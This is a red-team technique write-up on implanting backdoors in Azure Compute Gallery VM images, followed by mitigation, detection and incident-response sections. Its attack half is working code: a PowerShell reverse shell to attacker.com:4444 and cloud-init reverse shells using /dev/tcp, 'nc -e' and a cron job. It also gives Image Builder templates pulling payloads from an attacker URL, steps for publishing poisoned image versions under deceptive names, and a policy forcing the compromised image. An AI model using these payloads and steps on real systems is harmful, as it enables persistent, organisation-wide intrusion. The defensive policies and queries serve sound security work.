| Attribute | Details |
|---|---|
| Technique ID | EVADE-IMPLANT-001 |
| MITRE ATT&CK v18.1 | T1525 - Implant Internal Image |
| Tactic | Defense Evasion |
| Platforms | Entra ID |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Azure Compute Gallery (all versions); Azure Resource Manager (all regions) |
| Patched In | N/A (requires governance policy enforcement) |
| Author | SERVTEP – Artur Pchelnikau |
Azure Compute Gallery Image Template Implant is a supply-chain defense evasion technique that leverages shared image repositories to inject malicious code into VM templates. This technique exploits Azure’s shared image gallery feature—a centralized repository used across an organization to distribute pre-configured VM images—to achieve:
Unlike endpoint compromise (which targets individual servers), this technique poisons the supply chain—every future VM created from the compromised image contains attacker code. This is particularly effective because:
Attack Surface: Azure Compute Gallery API, VM deployment pipelines, image template definitions, cloud-init/custom script extension mechanisms, role-based access control (RBAC) on image resources.
Business Impact: An attacker who gains access to modify or create images in the organization’s Compute Gallery can inject persistence mechanisms (reverse shells, credential harvesters, cryptominers) that automatically deploy to every new VM. This transforms what should be a temporary compromise into enterprise-wide persistent access. Detection is difficult because malicious code runs during VM provisioning, before EDR solutions fully initialize.
Technical Context: Exploitation takes 5-10 minutes (create malicious image + update gallery). Detection depends on whether organization has:
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Azure 7.2 | Ensure that VM images are validated before deployment |
| DISA STIG | AZ-CO-000050 | Ensure container image scanning is enabled |
| CISA SCuBA | SC-12 | Supply Chain Risk Management for cloud images |
| NIST 800-53 | SA-12 | Supply Chain Protection - third party software integrity |
| GDPR | Art. 32 | Security of Processing - code integrity and authenticity |
| DORA | Art. 9 | Incident Reporting - supply chain compromise |
| NIS2 | Art. 21 | Cyber Risk Management - asset protection |
| ISO 27001 | A.14.1 | Supply Chain Management - information security requirements |
| ISO 27005 | Risk Scenario: Compromised VM Image | Image integrity verification mandatory |
Supported Versions:
Requirements:
Supported Tools:
az sig commands for gallery operations)New-AzImageBuilderTemplate)Supported Versions: Azure Compute Gallery (all regions)
Objective: Identify existing galleries and find high-impact images to modify.
Command (Azure CLI - Simple Enumeration):
# List all Compute Galleries in subscription
az sig list --output table
# Output example:
# Location Name ResourceGroup
# ----------- --------------------------- ----------------
# eastus prod-image-gallery prod-images-rg
# eastus dev-image-gallery dev-images-rg
# westus2 shared-template-gallery shared-rg
# For each gallery, list images
GALLERY_NAME="prod-image-gallery"
RG_NAME="prod-images-rg"
az sig image-definition list --resource-group $RG_NAME --gallery-name $GALLERY_NAME --output table
# Output:
# Id Name OSType
# ----- ------- ------
# /subscriptions/.../imageDefinitions/WindowsServer2022 WindowsServer2022 Windows
# /subscriptions/.../imageDefinitions/CentOS8 CentOS8 Linux
# /subscriptions/.../imageDefinitions/CustomApp CustomApp Linux
PowerShell Alternative (More Detailed):
# Connect to Azure
Connect-AzAccount
# Get all Compute Galleries
$galleries = Get-AzGallery
Write-Host "[*] Found $($ galleries.Count) Compute Galleries"
foreach ($gallery in $galleries) {
Write-Host ""
Write-Host "Gallery: $($gallery.Name) (RG: $($gallery.ResourceGroupName))"
# List images in gallery
$images = Get-AzGalleryImageDefinition -ResourceGroupName $gallery.ResourceGroupName -GalleryName $gallery.Name
foreach ($image in $images) {
# Count versions
$versions = Get-AzGalleryImageVersion -ResourceGroupName $gallery.ResourceGroupName `
-GalleryName $gallery.Name -GalleryImageDefinitionName $image.Name
Write-Host " - $($image.Name) ($($versions.Count) versions)"
# Show most recent version details
if ($versions.Count -gt 0) {
$latest = $versions | Sort-Object -Property "PublishingProfile.PublishedDate" -Descending | Select-Object -First 1
Write-Host " Latest: $($latest.Name) (Published: $($latest.PublishingProfile.PublishedDate))"
}
}
}
Expected Output:
[*] Found 3 Compute Galleries
Gallery: prod-image-gallery (RG: prod-images-rg)
- WindowsServer2022 (5 versions)
Latest: 22.11.1 (Published: 2024-11-15)
- CustomApp (3 versions)
Latest: 1.2.0 (Published: 2025-01-08)
- Ubuntu22 (4 versions)
Latest: ubuntu-22.04.1 (Published: 2024-12-01)
Gallery: shared-template-gallery (RG: shared-rg)
- WebApp (2 versions)
Latest: web-2.1 (Published: 2025-01-06)
What This Means:
OpSec & Evasion:
Objective: Build a custom VM image containing backdoor code that activates on first boot.
Command (Using Azure Image Builder - Cloud-Based):
Option A: Windows Server with Reverse Shell
# Create malicious custom script extension JSON
$customScript = @{
commandToExecute = @"
powershell -NoProfile -NonInteractive -Command `
`$client = New-Object System.Net.Sockets.TcpClient('attacker.com', 4444); `
`$stream = `$client.GetStream(); `
[byte[]]`$buffer = 0..65535|%{0}; `
while((`$i = `$stream.Read(`$buffer,0,`$buffer.Length)) -ne 0) { `
`$cmd = ([text.encoding]::UTF8).GetString(`$buffer,0, `$i) -split ' '; `
`$output = & `$cmd[0] `$cmd[1..`$cmd.length] 2>&1 | Out-String; `
`$outbytes = ([text.encoding]::UTF8).GetBytes(`$output); `
`$stream.Write(`$outbytes,0,`$outbytes.length); `
}; `
`$client.Close()
"@
}
# Create Image Builder template
$templateJson = @{
apiVersion = "2021-10-01"
type = "Microsoft.VirtualMachineImages/imageTemplates"
location = "eastus"
name = "WindowsServer2022-Patched"
identity = @{
type = "UserAssigned"
userAssignedIdentities = @{
"/subscriptions/{subscriptionId}/resourcegroups/{rgName}/providers/Microsoft.ManagedIdentity/userAssignedIdentities/{identityName}" = @{}
}
}
properties = @{
buildTimeoutInMinutes = 100
source = @{
type = "PlatformImage"
publisher = "MicrosoftWindowsServer"
offer = "WindowsServer"
sku = "2022-Datacenter"
version = "latest"
}
customize = @(
@{
type = "PowerShellCustomizer"
name = "Execute Custom Script"
scriptUri = "https://attacker-storage.blob.core.windows.net/container/malicious-payload.ps1" # Host payload externally
}
)
distribute = @(
@{
type = "ManagedImage"
imageId = "/subscriptions/{subscriptionId}/resourcegroups/{rgName}/providers/Microsoft.Compute/images/Windows2022-Compromised"
location = "eastus"
runOutputName = "Windows2022Compromised"
}
)
}
} | ConvertTo-Json -Depth 10
# Save template
$templateJson | Out-File "C:\Temp\image-template.json"
# Deploy malicious image template
New-AzImageBuilderTemplate -ResourceGroupName "shared-rg" `
-TemplateFile "C:\Temp\image-template.json" `
-ImageTemplateName "WindowsServer2022-Patched"
Write-Host "[+] Malicious image template created"
Option B: Linux with Cloud-Init Backdoor
# Create malicious cloud-init script
cat > /tmp/malicious-cloud-init.yaml << 'EOF'
#cloud-config
bootcmd:
- bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1 &'
runcmd:
- apt-get update
- apt-get install -y netcat-openbsd
- nohup nc -e /bin/bash attacker.com 4444 > /dev/null 2>&1 &
- (crontab -l 2>/dev/null; echo "*/5 * * * * bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'") | crontab -
EOF
# Create Image Builder template
cat > /tmp/image-template.json << 'EOF'
{
"apiVersion": "2021-10-01",
"type": "Microsoft.VirtualMachineImages/imageTemplates",
"name": "Ubuntu2204-Backdoor",
"location": "eastus",
"properties": {
"source": {
"type": "PlatformImage",
"publisher": "Canonical",
"offer": "UbuntuServer",
"sku": "22_04-lts-gen2",
"version": "latest"
},
"customize": [
{
"type": "Shell",
"name": "ApplyCloudInit",
"scriptUri": "https://attacker-storage.blob.core.windows.net/scripts/malicious-cloud-init.yaml"
}
],
"distribute": [
{
"type": "ManagedImage",
"imageId": "/subscriptions/{subscriptionId}/resourcegroups/{rgName}/providers/Microsoft.Compute/images/Ubuntu2204-Compromised"
}
]
}
}
EOF
# Deploy
az image builder create \
--resource-group shared-rg \
--template-file /tmp/image-template.json \
--image-template-name "Ubuntu2204-Backdoor"
Expected Output:
[+] Malicious image template created
[+] Template name: WindowsServer2022-Patched
[+] Output image: Windows2022Compromised
[+] Build status: InProgress
What This Means:
OpSec & Evasion:
Objective: Inject malicious image into Compute Gallery so new VMs use compromised version.
Command (Azure CLI - Update Gallery):
# Option 1: Replace existing image version
# (This is dangerous as it overwrites current version)
# First, create the malicious managed image (from previous step)
# Then get its resource ID
MALICIOUS_IMAGE_ID="/subscriptions/{subscriptionId}/resourcegroups/shared-rg/providers/Microsoft.Compute/images/Windows2022Compromised"
# Update gallery image definition to point to malicious image
az sig image-version create \
--resource-group "shared-rg" \
--gallery-name "prod-image-gallery" \
--gallery-image-definition "WindowsServer2022" \
--gallery-image-version "22.12.0" \
--managed-image $MALICIOUS_IMAGE_ID \
--target-regions eastus westus2 \
--replica-count 2
echo "[+] Malicious image version 22.12.0 created in prod-image-gallery"
PowerShell Alternative (More Control):
# Create new malicious version in existing image definition
$imageId = Get-AzImage -ResourceGroupName "shared-rg" -ImageName "Windows2022Compromised"
New-AzGalleryImageVersion `
-ResourceGroupName "shared-rg" `
-GalleryName "prod-image-gallery" `
-GalleryImageDefinitionName "WindowsServer2022" `
-Name "22.12.0" `
-SourceImageId $imageId.Id `
-PublishingProfileEndOfLifeDate (Get-Date).AddYears(2) `
-ReplicaCount 2 `
-TargetRegion @{Name='eastus';ReplicaCount=2}, @{Name='westus2';ReplicaCount=1}
Write-Host "[+] Malicious image version created: 22.12.0"
Write-Host "[+] Replication to regions: eastus, westus2"
Option 2: Create Entirely New “Security Update” Image (Stealth Approach)
# Instead of modifying existing image, create plausible new image
# That employees will mistakenly use instead of current version
New-AzGalleryImageDefinition `
-ResourceGroupName "shared-rg" `
-GalleryName "prod-image-gallery" `
-Name "WindowsServer2022-SecurityUpdate" `
-Publisher "Internal-IT" `
-Offer "Windows" `
-Sku "2022-Datacenter-Latest" `
-OsType Windows
# Add malicious version to this new definition
New-AzGalleryImageVersion `
-ResourceGroupName "shared-rg" `
-GalleryName "prod-image-gallery" `
-GalleryImageDefinitionName "WindowsServer2022-SecurityUpdate" `
-Name "1.0.0" `
-SourceImageId $imageId.Id
# Now employees might use the wrong image (with typo in name)
# Or IT gets confused and deploys "SecurityUpdate" version
Write-Host "[+] New image created: WindowsServer2022-SecurityUpdate v1.0.0"
Write-Host "[+] Name similarity may cause confusion during deployments"
Expected Output:
[+] Malicious image version created: 22.12.0
[+] Replication to regions: eastus, westus2
[+] VMs deployed from this version will contain backdoor
What This Means:
OpSec & Evasion:
Supported Versions: Azure Image Builder (all versions)
This method injects malicious steps into the Image Builder template itself, so the malicious code is embedded in the build process.
# List existing image builder templates
az resource list --resource-type "Microsoft.VirtualMachineImages/imageTemplates" \
--output table
# Output example:
# Name Location Type
# ------ -------- ----
# Windows2022-ProductionImage eastus Microsoft.VirtualMachineImages/imageTemplates
# Ubuntu-LTS-Corporate eastus Microsoft.VirtualMachineImages/imageTemplates
# WebServer-CustomConfig westus2 Microsoft.VirtualMachineImages/imageTemplates
# Export existing template
az resource show --resource-group "prod-images-rg" \
--name "Windows2022-ProductionImage" \
--resource-type "Microsoft.VirtualMachineImages/imageTemplates" > template.json
# Inject malicious PowerShell customizer into the template
# (Modify the 'customize' array to add malicious script)
# Then redeploy the modified template
az resource create --resource-group "prod-images-rg" \
--template-file template.json
Supported Versions: Azure Policy; Azure Automation
This method uses Azure Policy to automatically deploy compromised images when certain conditions are met.
# Create policy that forces deployment of "approved" images
$policyDef = @{
properties = @{
displayName = "Enforce Approved VM Images"
policyType = "BuiltIn"
mode = "Indexed"
description = "Restricts VM deployment to approved corporate images"
policyRule = @{
if = @{
allOf = @(
@{
field = "type"
equals = "Microsoft.Compute/virtualMachines"
},
@{
field = "Microsoft.Compute/imageId"
notIn = @(
"/subscriptions/{subId}/resourcegroups/shared-rg/providers/Microsoft.Compute/images/Windows2022Compromised"
)
}
)
}
then = @{
effect = "deny"
}
}
}
}
# Deploy policy to subscription
New-AzPolicyDefinition -Policy ($policyDef | ConvertTo-Json) -Name "EnforceApprovedImages"
# Assign policy to subscription
New-AzPolicyAssignment -PolicyDefinitionName "EnforceApprovedImages" `
-Scope "/subscriptions/{subscriptionId}"
Write-Host "[+] Policy created that FORCES use of compromised image"
Effect: Anyone deploying a VM must use the compromised image; all other images are denied.
Command:
Invoke-AtomicTest T1525 -TestNumbers 1 -Verbose
Cleanup Command:
# Remove malicious images and versions
Get-AzGalleryImageVersion -ResourceGroupName "shared-rg" `
-GalleryName "prod-image-gallery" `
-GalleryImageDefinitionName "WindowsServer2022" | `
Where-Object {$_.Name -like "22.12*"} | `
Remove-AzGalleryImageVersion
1. Implement Image Integrity Verification
Digitally sign all approved images and reject unsigned/untrusted images.
Manual Steps (Azure Policy + Attestation):
{
"if": {
"allOf": [
{"field": "type", "equals": "Microsoft.Compute/virtualMachines"},
{
"not": {
"field": "Microsoft.Compute/imageId",
"in": "[parameters('ApprovedImages')]"
}
}
]
},
"then": {"effect": "deny"}
}
PowerShell - Enforce Signed Images:
# Create policy that requires image signature verification
$policy = @{
displayName = "Require Signed VM Images"
description = "All VMs must use digitally signed images from approved gallery"
policyType = "Custom"
mode = "All"
parameters = @{
approvedImages = @{
type = "array"
metadata = @{description = "List of approved image IDs"}
}
}
policyRule = @{
if = @{
field = "Microsoft.Compute/virtualMachines/imageId"
notIn = "[parameters('approvedImages')]"
}
then = @{effect = "deny"}
}
}
# Save and deploy
$policy | ConvertTo-Json | Out-File "policy.json"
New-AzPolicyDefinition -Policy (Get-Content "policy.json") -Name "SignedImagesOnly"
2. Restrict Compute Gallery Modifications via RBAC
Limit who can modify gallery images to minimize attack surface.
Manual Steps (Azure Portal):
PowerShell - Custom RBAC Role:
# Create custom role with minimal permissions
$role = @{
Name = "Image Gallery Contributor"
Description = "Can only deploy approved images, cannot modify gallery"
Type = "CustomRole"
Actions = @(
"Microsoft.Compute/galleries/read",
"Microsoft.Compute/galleries/images/read",
"Microsoft.Compute/galleries/images/versions/read"
)
NotActions = @(
"Microsoft.Compute/galleries/write",
"Microsoft.Compute/galleries/delete",
"Microsoft.Compute/galleries/images/write",
"Microsoft.Compute/galleries/images/delete",
"Microsoft.Compute/galleries/images/versions/write",
"Microsoft.Compute/galleries/images/versions/delete"
)
}
New-AzRoleDefinition -InputObject $role
Write-Host "[+] Custom role created: Image Gallery Contributor"
Write-Host "[+] Users can only READ gallery, cannot MODIFY"
3. Audit and Alert on Gallery Modifications
Detect any changes to gallery images immediately.
Manual Steps (Create Sentinel Alert):
AzureActivity
| where ResourceType has "imageTemplates" or ResourceType has "galleries"
| where OperationName in ("Create Gallery Image", "Create Image Version", "Update Image", "Delete Image")
| project TimeGenerated, OperationName, CallerIpAddress, Caller = parse_json(Caller),
ResourceGroup, ActivityStatusValue
| where ActivityStatusValue == "Success"
4. Implement Image Builder Output Restrictions
Only allow Image Builder to output to “locked down” resource groups.
Manual Steps (Azure Policy):
{
"if": {
"allOf": [
{"field": "type", "equals": "Microsoft.VirtualMachineImages/imageTemplates"},
{"field": "Microsoft.VirtualMachineImages/imageTemplates/distribute[*].runOutputName", "notLike": "Approved-*"}
]
},
"then": {"effect": "deny"}
}
5. Enable Image Builder Audit Logging
Track all image modifications and builds.
Manual Steps (Enable Diagnostic Logging):
# Enable audit logging for Image Builder templates
Set-AzDiagnosticSetting -Name "ImageBuilderAudit" `
-ResourceId "/subscriptions/{subId}/resourcegroups/{rg}/providers/Microsoft.VirtualMachineImages/imageTemplates/{name}" `
-WorkspaceId "/subscriptions/{subId}/resourcegroups/{rg}/providers/Microsoft.OperationalInsights/workspaces/{workspace}"
6. Implement Image “Freshness” Requirements
Automatically disable old images to force regular updates.
Manual Steps (PowerShell):
# Disable gallery image versions older than 6 months
$cutoffDate = (Get-Date).AddMonths(-6)
$galleries = Get-AzGallery
foreach ($gallery in $galleries) {
$images = Get-AzGalleryImageDefinition -ResourceGroupName $gallery.ResourceGroupName `
-GalleryName $gallery.Name
foreach ($image in $images) {
$versions = Get-AzGalleryImageVersion -ResourceGroupName $gallery.ResourceGroupName `
-GalleryName $gallery.Name -GalleryImageDefinitionName $image.Name
foreach ($version in $versions) {
if ($version.PublishingProfile.PublishedDate -lt $cutoffDate) {
# Mark as end-of-life
Write-Host "[!] Disabling old version: $($version.Name)"
# Update-AzGalleryImageVersion -... -PublishedDate $date (replace with current version)
}
}
}
}
7. Implement Zero Trust for VM Deployment
Require approval for any new VM creation using gallery images.
Manual Steps (Azure Logic App Approval Workflow):
# 1. Check RBAC on gallery
$gallery = Get-AzGallery -ResourceGroupName "shared-rg" -Name "prod-image-gallery"
$assignments = Get-AzRoleAssignment -Scope $gallery.Id
Write-Host "[*] Gallery RBAC assignments:"
$assignments | ForEach-Object {
Write-Host " - $($_.RoleDefinitionName) assigned to $($_.DisplayName)"
}
# 2. Check for restrictive role assignments (should be minimal)
$contributorCount = ($assignments | Where-Object {$_.RoleDefinitionName -eq "Contributor"}).Count
if ($contributorCount -eq 0) {
Write-Host "[✓] No generic 'Contributor' role assigned to gallery"
} else {
Write-Host "[✗] CRITICAL: $contributorCount 'Contributor' roles on gallery - allows modifications"
}
# 3. Check image versions for unsigned/untrusted sources
$images = Get-AzGalleryImageDefinition -ResourceGroupName "shared-rg" -GalleryName "prod-image-gallery"
foreach ($image in $images) {
$versions = Get-AzGalleryImageVersion -ResourceGroupName "shared-rg" `
-GalleryName "prod-image-gallery" -GalleryImageDefinitionName $image.Name
$suspiciousVersions = $versions | Where-Object {$_.PublishingProfile.PublishedDate -gt (Get-Date).AddDays(-7)}
if ($suspiciousVersions.Count -gt 0) {
Write-Host "[!] RECENT image changes detected: $($image.Name)"
$suspiciousVersions | ForEach-Object {Write-Host " - $($_.Name) ($($ _.PublishingProfile.PublishedDate))"}
}
}
1. Identify Affected VMs:
# Find all VMs deployed from compromised image
$imageId = "/subscriptions/{subId}/resourcegroups/shared-rg/providers/Microsoft.Compute/images/Windows2022Compromised"
Get-AzVM | Where-Object {$_.StorageProfile.ImageReference.Id -eq $imageId} | `
Select-Object Name, ResourceGroupName, ProvisioningState | `
Export-Csv "C:\Incidents\compromised-vms.csv"
Write-Host "[!] Export compromised VMs to isolation/remediation list"
2. Quarantine Affected VMs:
# Disconnect compromised VMs from network
$affectedVMs = Import-Csv "C:\Incidents\compromised-vms.csv"
foreach ($vm in $affectedVMs) {
# Detach network interfaces
$vm = Get-AzVM -Name $vm.Name -ResourceGroupName $vm.ResourceGroupName
foreach ($nic in $vm.NetworkProfile.NetworkInterfaces) {
$nicName = $nic.Id.Split('/')[-1]
$nicRg = $nic.Id.Split('/')[4]
Remove-AzNetworkInterfaceIpConfig -NetworkInterface (Get-AzNetworkInterface -Name $nicName -ResourceGroupName $nicRg) `
-Name (Get-AzNetworkInterface -Name $nicName -ResourceGroupName $nicRg).IpConfigurations[0].Name
}
}
Write-Host "[+] Network interfaces detached from compromised VMs"
3. Remove Malicious Images:
# Delete compromised image from gallery
$gallery = Get-AzGallery -ResourceGroupName "shared-rg" -Name "prod-image-gallery"
Get-AzGalleryImageVersion -ResourceGroupName "shared-rg" `
-GalleryName "prod-image-gallery" `
-GalleryImageDefinitionName "WindowsServer2022" | `
Where-Object {$_.Name -like "22.12*"} | `
Remove-AzGalleryImageVersion
Write-Host "[+] Malicious image versions removed from gallery"
4. Remediate VMs:
# Redeploy affected VMs from clean image
$cleanImageId = "/subscriptions/{subId}/resourcegroups/approved-images/providers/Microsoft.Compute/images/WindowsServer2022-Original"
foreach ($vm in $affectedVMs) {
$vm = Get-AzVM -Name $vm.Name -ResourceGroupName $vm.ResourceGroupName
# Update image reference
$vm.StorageProfile.ImageReference.Id = $cleanImageId
# Redeploy (this requires VM recreation)
# Note: This is complex and requires custom runbook
Write-Host "[*] Redeploy VM $($vm.Name) from clean image"
}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | REC-CLOUD-006 | Enumerate Azure resources to find Compute Gallery |
| 2 | Privilege Escalation | PE-VALID-010 | Escalate to role with gallery modification rights |
| 3 | Defense Evasion | [EVADE-IMPLANT-001] | Modify Compute Gallery image to inject backdoor |
| 4 | Persistence | PERSIST-SERVER-003 | Malicious code persists on every VM deployment |
| 5 | Impact | IMPACT-DATA-DESTROY-001 | Use compromised VMs for data exfiltration/destruction |